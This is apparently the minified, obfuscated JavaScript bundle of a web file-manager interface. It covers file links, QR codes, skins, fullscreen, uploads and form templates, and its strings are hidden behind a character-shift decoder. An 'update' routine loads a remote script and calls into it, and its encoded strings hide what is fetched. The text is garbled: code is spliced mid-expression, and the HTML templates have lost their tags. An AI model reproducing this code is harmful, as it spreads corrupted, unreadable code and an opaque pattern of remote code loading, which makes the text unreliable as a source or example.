$[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&'%,OM(.",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66O26$T"),$(109,"T6071$^",109,"Fa"),$(109,"gf*#&Jgf*#&Jgf#&JT+1(66^",109,"6)(+$O&'%,",109,"g"),$("f*#&Jgf*#&Jg"),$("#(0$"),$("0&-$I07)$"),$("9.,2)8)(+$A6$"),$("26$.8)(+$"),$("6&L$4(;"),1024,$("6&L$A6$"),$("63(.$"),$("$;)1,.$./%&1$A)1,(#"),$("(203P3$+5K.,2)"),$("&68760$-d(03"),$(")(03I+('I',0I(+0&,'"),$("',I)$.-&66&,'IF.&0$"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var t=arguments,i="",r=0,o=t.length;o>r;r++)if("number"==typeof t[r])i+=n($[0].charAt(t[r]));else for(var e=0,c=t[r].length;c>e;e++)i+=n($[0].charAt(t[r][e].charCodeAt()-35));return i}}(["ghilqds2frpu1woxkPnv|VjH{EZGL\\XIDKtz'WbyJ}eU0F3R&#/m[NQ^`56@7;=B4SO?A~$>€Y)+_.,罔统迡推锜诲/巵釐罱诺聗糾举朽啉戙箤棃柨阵灮墜酐$%9(8:*\n \n
          \n
          \n
          \n
          {{LNG.upload_select}}
          \n \n \n
          \n \n
          \n
          \n \n \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          \n
          {{LNG.download_address}}\n
          \n \n \n \n
          \n\n
          \n
          \n
          \n
          \n
          \n
          \n\n');;define("app/common/tpl/formMake.html",[],'
          \n
          \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
          \n {{if formTab}}\n
          \n {{each formTab tab tabIndex}}\n {{if tab}}\n
          \n {{/if}}\n {{/each}}\n
          \n
          \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
          {{item}}
          \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
          \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
          \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
          \n
          \n {{@item.display}}: {{if item.require}}*{{/if}}\n
          \n
          \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
          \n \n \n \n \n
          \n
          \n
          {{LNG.user}}
          \n \n
          \n
          \n
          {{LNG.group}}
          \n \n
          \n
          \n
          {{LNG.system_member_role}}
          \n \n
          \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
          {{@item.desc}}
          \n {{else}}\n {{@item.desc}}\n {{/if}}\n
          \n
          \n
          \n {{/if}}\n {{/each}}\n
          \n
          ');;!function($){!function($,n,r,t,o,c,i,f,u,a,A,e,J,p,d,v,G,X,h,C,q,s,N,O,Q,S,l,R,V,b,F,M,g,m,y,D,P,_,T,Y,k,B,H,L,W,j,E,I,K,Z,w,x,U,z,$n,nn,rn,tn,on,cn,fn,un,an,An,en,Jn,pn,dn,vn,Gn,Xn,hn,Cn,qn,sn,Nn,On,Qn,Sn,ln,Rn,Vn,bn,Fn,Mn,gn,mn,yn,Dn,Pn,_n,Tn,Yn,kn,Bn,Hn,Ln,Wn,jn,En,In,Kn,Zn,wn,xn,Un,zn,$r,nr,rr,tr,or,cr,ir,fr,ur,ar,Ar,er,Jr,pr,dr,vr,Gr,Xr,hr,Cr,qr,sr,Nr,Or,Qr,Sr,lr,Rr,Vr,br,Fr,Mr,gr,mr,yr,Dr,Pr,_r){$[r](t,[],function(n){var r=o,t=function(){var n=$[c](i);f!=$[a][u],$[A](n),$[J][e](n,!p),$[v](G)[d](),$[X](function(){$[J][h](n,!p),$[s][q][C]=r},N*$[O](Q,S))},Tr=function(){var r=l;$[X](function(){if(!$[s][R]||V==typeof $[b]){var r=F+$[M]();n[g](r,function(n){$[s][R]=!m;try{n[y]()}catch(r){}})}},N*$[O](D,Q)),$[a][P]=$[_]($[a][P][k](B)[Y]()[T](B));var t=$[L][H]($[a][P],W);r=t[j](D,p),t&&E==t[I]||(r=l);var o=$[_]($[a][K]);o=o[k](B)[Y]()[T](B),o=$[L][H](o,Z);var c=o[j](w,p);return $[a][K]=$[L][H](o[j](x),o[j](m,w)),c==r&&$[a][K]&&U==$[a][K][I]||($[v][z]($n),r=l),-p===$[v][nn](r,[l,rn,tn,on,cn,fn,un])&&(r=l),r},Yr=l;try{Yr=Tr()}catch(kr){}var Br=an,Hr=An,Lr=function(){if($[Jn][en](pn)&&l==Yr)for(var n=[$[vn][dn],$[vn][Gn],$[vn][Xn],$[vn][hn],$[vn][Cn],$[v](sn)[qn]()],r=m;ro)break;f[a]=t[a],u++}return f},Zr={init:Er,about:Ir};return Zr})}(this,void 0,$("#$%&'$"),$("())*+,--,'*+,.$/0,,12"),$("/*342$.*5$.2&,'6'20(11"),$("7(278$+,#$"),$("9:;-<=>:?@&50A(B?5A((C7$&DE4FAG.4(H4$$I&@(#JK51),?-'6')'68,),D,.L%,J=C'2L5,0:MN4G8556O1GBO)G8).G;PQG>RS=TUV+F"),$("(1$.0"),$("1,(#&'J"),$("C&)2"),1,$("7&#$"),$("["),$("\\-$22(J$C&)2]/0&)2A+1,2$^\\-$22(J$C&)2]&-J"),$("2$0C&-$,40"),$("0&)2"),$("7.$%"),$("1,+(0&,'"),$("_&'#,_"),1e3,$(".,4'#O.,-C,"),30,60,$("`"),$("(<#abM+LMWba%#RS9GMG9"),$("4'#$%&'$#"),$("0)18&(1,JD0-1"),$("**20(0&+/N,#+1,4#/+,-*4)#(0$*-(&'a/Q235c"),$("0&-$O1,(0"),$("(2d'+"),0,$("0,#,"),10,$("5$.2&,'D(27"),$("G(2$9a8$+,#$"),$("Q,&'"),$(".$5$.2$"),$("2)1&0"),"",$("#$+,#$"),$("(407Y.d)0"),$("e#%EfXghijiklARW"),$("24G20."),27,$("1$'J07"),$("5$.2&,'D(27H2$."),$("%Ma;jhil:IOF8R%#Q5"),16,17,32,$("J$0"),$("/*&'#$V/)7)342$.*5$.2&,'6'20(11h.$2$0cS"),$("&'`..(d"),$("@"),$("m"),$("n"),$("P"),$("F"),$("C"),$("N,#$V)1,.$."),$("N,#+1,4#"),$("&2`))"),$("+,.$"),$("$V)1,.$."),$("N,#A),_$.AGd"),$("?Z>"),$("+,)d.&J70A).$"),$("+,)d.&J70A+,'0(+0"),$("+,)d.&J70A#$2+"),$("+,)d.&J70A&'%,"),$("70-1"),$("/+,--,'X%,,0$."),$("0,?,_$.Y(2$"),$("2$(.+7"),300,5e3,$("%.$$"),$("S"),$(";"),$("M"),$("a"),$("<"),$("9"),$("5$.2&,'A5&)A"),$("o2)(']+1(22cp5$.2&,'X5&)p]&#cp"),$("pqo&]+1(22cp%,'0X&+,']&+,'XN$dpqo*&q"),$("o*2)('q"),$("&'2$.0`%0$."),$("/-$'4X2d20$-X(G,40"),$("1&5$"),$("#&$"),$("/5$.2&,'X5&)"),$("+1&+N"),$("5$.2&,'A5&)A%.$$"),$("(00."),$("&#"),$(",)$'B&'#,_"),$("5$.2&,'H)#(0$r&)"),$("o#&5]+1(22cp5$.2&,'X1&+$'2$pqo(]+1(22cp1&'$p]7.$%cp"),$("pqstuvo*(qo*#&5q"),$("())$'#"),$("%&'#"),$("_.()"),$("8@w"),$("/(4&X+,'0$'0"),$("0$V0"),$("1,'Jm.$22"),$("0,)"),$("(##Y1(22"),$("G,#d"),$("24)),.0X2)(+$X',0"),$(".$-,5$"),$("/-$'4X2d20$-X(G,40^/-$'4X1$%0]\\(G,40"),$("\\).,J.(-2]/2$00&'JA(G,40^\\).,J.(-2]/2$00&'JA7,-$)(J$^\\).,J.(-2]/7,-$A)(J$"),$("&+,'"),$("700)"),4,$("&+,'F.+"),$("o&]+1(22cpVX&0$-X%&1$]VX"),$("]2-(11"),$("pqo*&q"),$("o&-J]2.+cp"),$("p]#.(JJ(G1$cp%(12$p],'#.(J20(.0cp.$04.']%(12$xpq"),$("+,.$A0,,12A2d20$-8(0("),$("+,.$A0,,12A5$.2&,'Cd)$"),$("2d20$-8(0("),$("5$.2&,'Cd)$"),$("**N,#+1,4#/+,-*G4d/70-1\\"),$("&+,'F-(11"),2e3,$("+,.$A0,,12AJ.,4)?&-&0"),5,20,40,100,$("+,.$A0,,12A-$-G$.?&-&0"),15,50,150,500,$("J.,4)"),$("#(0("))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var r=arguments,t="",o=0,c=r.length;c>o;o++)if("number"==typeof r[o])t+=n($[0].charAt(r[o]));else for(var i=0,f=r[o].length;f>i;i++)t+=n($[0].charAt(r[o][i].charCodeAt()-35));return 